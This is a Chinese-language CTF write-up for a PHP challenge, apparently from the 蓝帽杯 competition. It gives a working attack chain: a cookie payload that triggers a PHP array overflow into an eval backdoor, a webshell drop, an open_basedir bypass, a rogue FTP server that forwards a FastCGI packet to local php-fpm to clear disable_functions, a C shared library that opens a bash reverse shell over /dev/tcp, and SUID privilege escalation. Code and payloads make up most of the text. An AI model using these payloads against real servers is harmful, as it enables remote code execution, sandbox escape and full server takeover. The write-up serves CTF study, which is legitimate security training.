题目给了两个文件

add_api.php

<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
	$count[++$user->count]=1;
	if($count[]=1){
		$user->count+=1;
		setcookie("data",serialize($user));
	}else{
		eval($_GET["backdoor"]);
	}
}else{
	$user=new User;
	$user->count=1;
	setcookie("data",serialize($user));
}
?>

user.php

<?php
class User{
	public $count;
}
?>

PHP 数组溢出

主要考查反序列化和php数组溢出绕过,关于php数组溢出可以参考:PHP数组的key溢出问题

直接给出payload

?backdoor=file_put_contents("1.php","<?php @eval(\$_POST[1])?>");
Cookie: data=O%3a4%3a"User"%3a1%3a{s%3a5%3a"count"%3bi%3a9223372036854775806%3b}

查看phpinfo

disable_classes:	Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumException    Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumException
disable_functions:	stream_socket_client,fsockopen,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive

可以通过

<?php
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$file_list = array();
// normal files
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob:///.*");
foreach($it as $f) {
    $file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
        echo "{$f}<br/>";
}

列根目录

限制了open_basedir/var/www/html

利用chdir()ini_set()组合来绕过,当然这个操作首先需要拥有当前目录写权限,或者存在一个可以cd进去的子目录

<?php
mkdir('test');
chdir('test');
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
var_dump(file_get_contents("/flag"));

读文件

但是并读不到flag文件,估计权限不够

攻击 php-fpm绕disable_functions

读取/proc/self/cmdline,发现当前进程是 php-fpm,读取/etc/nginx/sites-available/default文件

php-fpm 绑定在了本地 9001 端口

于是我们可以构造恶意代码利用ssrf攻击本地的php-fpm,通过在vps上搭建恶意的ftp,骗取目标主机将payload转发到自己的9001端口上,从而执行命令,当然这里直接用curl配合gopher协议也可以直接打,就不需要ftp了,但是好像并打不通

原理如下

通过eval()构造一下代码

file_put_contents($file,$data);

FTP 协议允许通过 TCP 发送二进制数据包,更准确的说是该协议的被动模式,即:如果一个客户端试图从FTP服务器上读取一个文件(或写入),服务器会通知客户端将文件的内容读取(或写)到一个特定的IP和端口上。而且,这里对这些IP和端口没有进行必要的限制。例如,服务器可以告诉客户端连接到自己的某一个端口,如果它愿意的话。

如果我们传入 ?file=ftp://evil-server/file.txt&data=payload ,会发生以下情况:

首先通过 file_put_contents() 函数连接到我们的FTP服务器,并试图使用 file_put_contents() 把文件上传上去。但是我们搭建的恶意的ftp服务器将告诉它把文件发送到 127.0.0.1:9000。这样,我们就可以向目标主机本地的 PHP-FPM 发送一个任意的数据包,从而执行代码,造成SSRF了。

写一个so扩展

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    system("bash -c 'bash -i >& /dev/tcp/ip/2333 0>&1'");
}

编译

gcc a.c -fPIC -shared -o a.so

上传到服务器

base64_encode(file_get_contents('a.so'));

获取到so文件,base64编码后的内容

file_put_contents('a.so',base64_decode('xxx'));

使用刚才的1.phpa.so文件写到服务器;

也可以这样写,直接从vps下载

add_api.php?backdoor=mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy('http://ip/a.so

在自己vps搭一个恶意的ftp服务器,使用的是 FTP 协议的被动模式

ftp_server.py

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(('0.0.0.0', 123))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
conn.send(b'331 Please specify the password.\n')
conn.send(b'230 Login successful.\n')
conn.send(b'200 Switching to Binary mode.\n')
conn.send(b'550 Could not get the file size.\n')
conn.send(b'150 ok\n')
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
conn.send(b'221 Goodbye.\n')
conn.close()

使用以下脚本生成攻击 php-fpmpayloadhttps://php.okawhio.repl.co/static/2.py

<?php
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */
/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr>
 * @version     1.0
 */
class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }
    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }
    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }
    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo)
    {
        $this->connect();
        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }
    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */
    public function request(array $params, $stdin)
    {
        $response = '';
//        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        echo('data='.urlencode($request));
//        fwrite($this->_sock, $request);
//        do {
//            $resp = $this->readPacket();
//            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
//                $response .= $resp['content'];
//            }
//        } while ($resp && $resp['type'] != self::END_REQUEST);
//        var_dump($resp);
//        if (!is_array($resp)) {
//            throw new Exception('Bad request');
//        }
//        switch (ord($resp['content']{4})) {
//            case self::CANT_MPX_CONN:
//                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
//                break;
//            case self::OVERLOADED:
//                throw new Exception('New request rejected; too busy [OVERLOADED]');
//                break;
//            case self::UNKNOWN_ROLE:
//                throw new Exception('Role value not known [UNKNOWN_ROLE]');
//                break;
//            case self::REQUEST_COMPLETE:
//                return $response;
//        }
    }
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
//    die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
//    $filepath = __FILE__;
//}else{
//    $filepath = $_REQUEST['filepath'];
//}

$filepath = "/var/www/html/add_api.php";
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami';
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>";
$php_value = "unserialize_callback_func = system\nextension_dir = /var/www/html\nextension = a.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = ";
$params = array(
    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    'REQUEST_METHOD'    => 'POST',
    'SCRIPT_FILENAME'   => $filepath,
    'SCRIPT_NAME'       => $req,
    'QUERY_STRING'      => 'command=whoami',
    'REQUEST_URI'       => $uri,
    'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
    'PHP_VALUE'         => $php_value,
    'SERVER_SOFTWARE'   => '80sec/wofeiwo',
    'REMOTE_ADDR'       => '127.0.0.1',
    'REMOTE_PORT'       => '9001',
    'SERVER_ADDR'       => '127.0.0.1',
    'SERVER_PORT'       => '80',
    'SERVER_NAME'       => 'localhost',
    'SERVER_PROTOCOL'   => 'HTTP/1.1',
    'CONTENT_LENGTH'    => strlen($code)
);
echo $client->request($params, $code)."\n";
?>
data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02B%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B6PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+a.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00

构造file_put_contents()与我们 vps 上恶意的 ftp 服务器建立连接

backdoor=$file%20=%20$_GET['file'];$data%20=%20$_GET['data'];file_put_contents($file,$data);&file=ftp://ip:123/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02B%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B6PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+a.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00

发包,vps监听2333端口拿到shell

无权限读取flag

suid提权

find / -perm -u=s -type f 2>/dev/null

php有suid,进入交互模式执行代码,得到flag

参考

hxp CTF resonator Writeup - SSRF via file_put_contents

通过一道CTF题学习php-fpm攻击

蓝帽杯_one_Pointer_php

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